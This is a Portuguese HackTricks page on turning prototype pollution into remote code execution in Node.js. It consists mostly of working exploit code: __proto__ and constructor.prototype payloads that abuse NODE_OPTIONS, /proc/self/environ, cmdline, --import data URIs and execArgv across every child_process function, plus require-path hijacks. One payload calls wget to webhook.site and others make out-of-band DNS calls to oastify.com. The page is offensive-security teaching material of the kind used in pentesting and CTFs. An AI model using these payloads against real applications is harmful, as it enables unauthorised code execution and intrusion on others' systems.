Poluição de Protótipo para RCE

Reading time: 22 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Código Vulnerável

Imagine um JS real usando um código como o seguinte:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCE significa Poluição de Protótipo para RCE (Execução Remota de Código).

De acordo com este writeup, quando um processo é gerado com algum método de child_process (como fork ou spawn ou outros), ele chama o método normalizeSpawnArguments, que é um gadget de poluição de protótipo para criar novas variáveis de ambiente:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Verifique que o código, você pode ver que é possível envenenar envPairs apenas poluindo o atributo .env.

Envenenando __proto__

warning

Note que devido à forma como a função normalizeSpawnArguments da biblioteca child_process do node funciona, quando algo é chamado para definir uma nova variável de ambiente para o processo, você só precisa poluir qualquer coisa.
Por exemplo, se você fizer __proto__.avar="valuevar" o processo será iniciado com uma var chamada avar com o valor valuevar.

No entanto, para que a variável de ambiente seja a primeira, você precisa poluir o atributo .env e (apenas em alguns métodos) essa var será a primeira (permitindo o ataque).

É por isso que NODE_OPTIONS não está dentro de .env no ataque a seguir.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Envenenando constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Um payload semelhante ao anterior, com algumas mudanças, foi proposto em this writeup. As principais diferenças são:

  • Em vez de armazenar o payload do nodejs dentro do arquivo /proc/self/environ, ele o armazena dentro do argv0 de /proc/self/cmdline.
  • Em seguida, em vez de requerer via NODE_OPTIONS o arquivo /proc/self/environ, ele requer /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node ≥ 19)

note

Desde Node.js 19, a flag CLI --import pode ser passada através de NODE_OPTIONS da mesma forma que --require. Em contraste com --require, --import entende data-URIs, então o atacante não precisa de acesso de gravação ao sistema de arquivos. Isso torna o gadget muito mais confiável em ambientes restritos ou somente leitura.

Esta técnica foi documentada publicamente pela pesquisa da PortSwigger em maio de 2023 e desde então foi reproduzida em vários desafios de CTF.

O ataque é conceitualmente idêntico aos truques --require /proc/self/* mostrados acima, mas em vez de apontar para um arquivo, incorporamos a carga útil diretamente em uma URL data: codificada em base64:

javascript
const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

Abusando do ponto de fusão/clonagem vulnerável mostrado no topo da página:

javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

Por que --import ajuda

  1. Sem interação com disco – o payload viaja inteiramente dentro da linha de comando e do ambiente do processo.
  2. Funciona com ambientes apenas ESM--import é a maneira canônica de pré-carregar JavaScript nas versões modernas do Node que usam ECMAScript Modules por padrão.
  3. Ignora algumas listas de permissão de --require – algumas bibliotecas de endurecimento filtram apenas --require, deixando --import intocado.

warning

O suporte a --import em NODE_OPTIONS ainda está presente na última Node 22.2.0 (junho de 2025). A equipe central do Node está discutindo a restrição de data-URIs no futuro, mas nenhuma mitigação está disponível no momento da redação.


Interação DNS

Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Ou, para evitar que os WAFs solicitem o domínio:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

Nesta seção, vamos analisar cada função do child_process para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:

exec exploração
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile exploração
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Para execFile funcionar, ele DEVE executar o node para que os NODE_OPTIONS funcionem.
Se não estiver executando node, você precisa descobrir como alterar a execução do que quer que esteja sendo executado com variáveis de ambiente e defini-las.

As outras técnicas funcionam sem esse requisito porque é possível modificar o que é executado via poluição de protótipo. (Neste caso, mesmo que você possa poluir .shell, você não poluirá o que está sendo executado).

fork exploração
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn exploração
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Exploração de execFileSync
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync exploração
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync exploração
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forçando Spawn

Nos exemplos anteriores, você viu como acionar o gadget, uma funcionalidade que chama spawn precisa estar presente (todos os métodos de child_process usados para executar algo o chamam). No exemplo anterior, isso fazia parte do código, mas e se o código não estiver chamando-o?

Controlando um caminho de arquivo require

Neste outro artigo, o usuário pode controlar o caminho do arquivo onde um require será executado. Nesse cenário, o atacante só precisa encontrar um arquivo .js dentro do sistema que execute um método spawn quando importado.
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Encontre mais arquivos abaixo

O seguinte script simples irá procurar por chamadas de child_process sem qualquer preenchimento (para evitar mostrar chamadas dentro de funções):

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Arquivos interessantes encontrados pelo script anterior
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Definindo o caminho do arquivo requerido via poluição de protótipo

warning

A técnica anterior requer que o usuário controle o caminho do arquivo que vai ser requerido. Mas isso nem sempre é verdade.

No entanto, se o código vai executar um require após a poluição do protótipo, mesmo que você não controle o caminho que vai ser requerido, você pode forçar um diferente abusando da poluição de protótipo. Então, mesmo que a linha de código seja como require("./a_file.js") ou require("bytes"), ela requererá o pacote que você poluiu.

Portanto, se um require for executado após sua poluição de protótipo e nenhuma função de spawn, este é o ataque:

  • Encontre um arquivo .js dentro do sistema que, quando requerido, irá executar algo usando child_process
  • Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
  • Polua os caminhos para forçar o carregamento do require do arquivo .js que irá executar algo com child_process
  • Polua o environ/cmdline para executar código arbitrário quando uma função de execução de child_process for chamada (veja as técnicas iniciais)

Require absoluto

Se o require realizado for absoluto (require("bytes")) e o pacote não contiver main no arquivo package.json, você pode poluir o atributo main e fazer com que o require execute um arquivo diferente.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relativo - 1

Se um caminho relativo for carregado em vez de um caminho absoluto, você pode fazer o node carregar um caminho diferente:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relativo - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relativo - 3

Semelhante ao anterior, isso foi encontrado em este artigo.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

No artigo https://arxiv.org/pdf/2207.11171.pdf também é indicado que o controle de contextExtensions de alguns métodos da biblioteca vm poderia ser usado como um gadget.
No entanto, assim como os métodos child_process anteriores, foi corrigido nas versões mais recentes.

Fixes & Proteções inesperadas

Por favor, note que a poluição de protótipos funciona se o atributo de um objeto que está sendo acessado é indefinido. Se no código esse atributo é definido com um valor, você não conseguirá sobrescrevê-lo.

Em junho de 2022, a partir de este commit, a var options em vez de um {} é um kEmptyObject. O que impede uma poluição de protótipo de afetar os atributos de options para obter RCE.
Pelo menos a partir da v18.4.0, essa proteção foi implementada, e portanto os exploits spawn e spawnSync que afetam os métodos não funcionam mais (se nenhum options for usado!).

No este commit, a poluição de protótipo de contextExtensions da biblioteca vm foi também meio que corrigida definindo opções como kEmptyObject em vez de {}.

info

Node 20 (abril de 2023) & Node 22 (abril de 2025) trouxeram um endurecimento adicional: vários auxiliares child_process agora copiam options fornecidos pelo usuário com CopyOptions() em vez de usá-los por referência. Isso bloqueia a poluição de objetos aninhados como stdio, mas não protege contra os truques NODE_OPTIONS / --import descritos acima – essas flags ainda são aceitas via variáveis de ambiente. Uma correção completa teria que restringir quais flags de CLI podem ser propagadas do processo pai, o que está sendo rastreado na Issue do Node #50559.

Outros Gadgets

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks